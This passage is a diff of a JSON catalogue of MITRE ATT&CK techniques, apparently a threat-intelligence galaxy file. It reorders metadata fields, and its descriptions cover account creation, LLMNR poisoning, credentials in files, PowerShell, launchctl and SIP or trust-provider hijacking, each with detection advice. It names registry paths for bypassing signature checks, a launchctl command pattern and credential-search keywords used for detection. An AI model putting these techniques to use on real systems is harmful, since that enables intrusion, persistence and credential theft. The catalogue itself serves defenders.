- "value": "Extra Window Memory Injection - T1181",
"meta": {
+ "external_id": "T1181",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1181",
"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
@@ -2845,26 +2851,14 @@
"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
- ],
- "external_id": "T1181",
- "kill_chain": [
- "mitre-attack:enterprise-attack:defense-evasion",
- "mitre-attack:enterprise-attack:privilege-escalation"
- ],
- "mitre_platforms": [
- "Windows"
]
},
- "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0"
+ "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+ "value": "Extra Window Memory Injection - T1181"
},
{
"description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
- "value": "Create Account - T1136",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1136",
- "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
- ],
"external_id": "T1136",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -2879,18 +2873,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1136",
+ "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
]
},
- "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67"
+ "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
+ "value": "Create Account - T1136"
},
{
"description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Commonly Used Port - T1043",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1043",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1043",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -2905,20 +2899,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1043",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e"
+ "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e",
+ "value": "Commonly Used Port - T1043"
},
{
"description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Data Encoding - T1132",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1132",
- "https://en.wikipedia.org/wiki/Binary-to-text%20encoding",
- "https://en.wikipedia.org/wiki/Character%20encoding",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1132",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -2933,24 +2925,20 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1132",
+ "https://en.wikipedia.org/wiki/Binary-to-text%20encoding",
+ "https://en.wikipedia.org/wiki/Character%20encoding",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f"
+ "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+ "value": "Data Encoding - T1132"
},
{
"description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "LLMNR/NBT-NS Poisoning - T1171",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1171",
- "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution",
- "https://technet.microsoft.com/library/cc958811.aspx",
- "https://github.com/nomex/nbnspoof",
- "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response",
- "https://github.com/SpiderLabs/Responder",
- "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
- "https://github.com/Kevin-Robertson/Conveigh"
- ],
"external_id": "T1171",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -2962,19 +2950,24 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1171",
+ "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution",
+ "https://technet.microsoft.com/library/cc958811.aspx",
+ "https://github.com/nomex/nbnspoof",
+ "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response",
+ "https://github.com/SpiderLabs/Responder",
+ "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
+ "https://github.com/Kevin-Robertson/Conveigh"
]
},
- "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0"
+ "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+ "value": "LLMNR/NBT-NS Poisoning - T1171"
},
{
"description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
- "value": "Credentials in Files - T1081",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1081",
- "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
- "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
- ],
"external_id": "T1081",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -2987,17 +2980,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1081",
+ "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
+ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
]
},
- "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c"
+ "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
+ "value": "Credentials in Files - T1081"
},
{
"description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).\n\nDetection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server",
- "value": "Spearphishing Link - T1192",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1192"
- ],
"external_id": "T1192",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -3015,23 +3010,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1192"
]
},
- "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba"
+ "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba",
+ "value": "Spearphishing Link - T1192"
},
{
"description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
- "value": "PowerShell - T1086",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1086",
- "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
- "https://github.com/PowerShellEmpire/Empire",
- "https://github.com/mattifestation/PowerSploit",
- "https://github.com/jaredhaight/PSAttack",
- "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
- ],
"external_id": "T1086",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -3044,17 +3033,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1086",
+ "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
+ "https://github.com/PowerShellEmpire/Empire",
+ "https://github.com/mattifestation/PowerSploit",
+ "https://github.com/jaredhaight/PSAttack",
+ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
+ "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
]
},
- "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0"
+ "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+ "value": "PowerShell - T1086"
},
{
"description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Security Software Discovery - T1063",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1063"
- ],
"external_id": "T1063",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -3067,18 +3062,17 @@
"mitre_platforms": [
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1063"
]
},
- "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7"
+ "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7",
+ "value": "Security Software Discovery - T1063"
},
{
"description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
- "value": "Launchctl - T1152",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1152",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
- ],
"external_id": "T1152",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3092,17 +3086,18 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1152",
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
- "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee"
+ "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
+ "value": "Launchctl - T1152"
},
{
"description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n===Browser-based Exploitation===\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n===Office Applications===\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n===Common Third-party Applications===\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, System calls, Process Monitoring\n\nSystem Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.\n\nRemote Support: Yes",
- "value": "Exploitation for Client Execution - T1203",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1203"
- ],
"external_id": "T1203",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -3116,20 +3111,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1203"
]
},
- "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63"
+ "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
+ "value": "Exploitation for Client Execution - T1203"
},
{
"description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward",
- "value": "Modify Existing Service - T1031",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1031",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://twitter.com/r0wdy%20/status/936365549553991680",
- "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
- ],
"external_id": "T1031",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -3142,21 +3134,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1031",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://twitter.com/r0wdy%20/status/936365549553991680",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
]
},
- "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b"
+ "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
+ "value": "Modify Existing Service - T1031"
},
{
"description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
- "value": "Standard Cryptographic Protocol - T1032",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1032",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
- ],
"external_id": "T1032",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -3173,26 +3164,21 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1032",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
+ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
+ "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
+ "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
]
},
- "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5"
+ "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+ "value": "Standard Cryptographic Protocol - T1032"
},
{
"description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n*'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nDetection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n* '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: 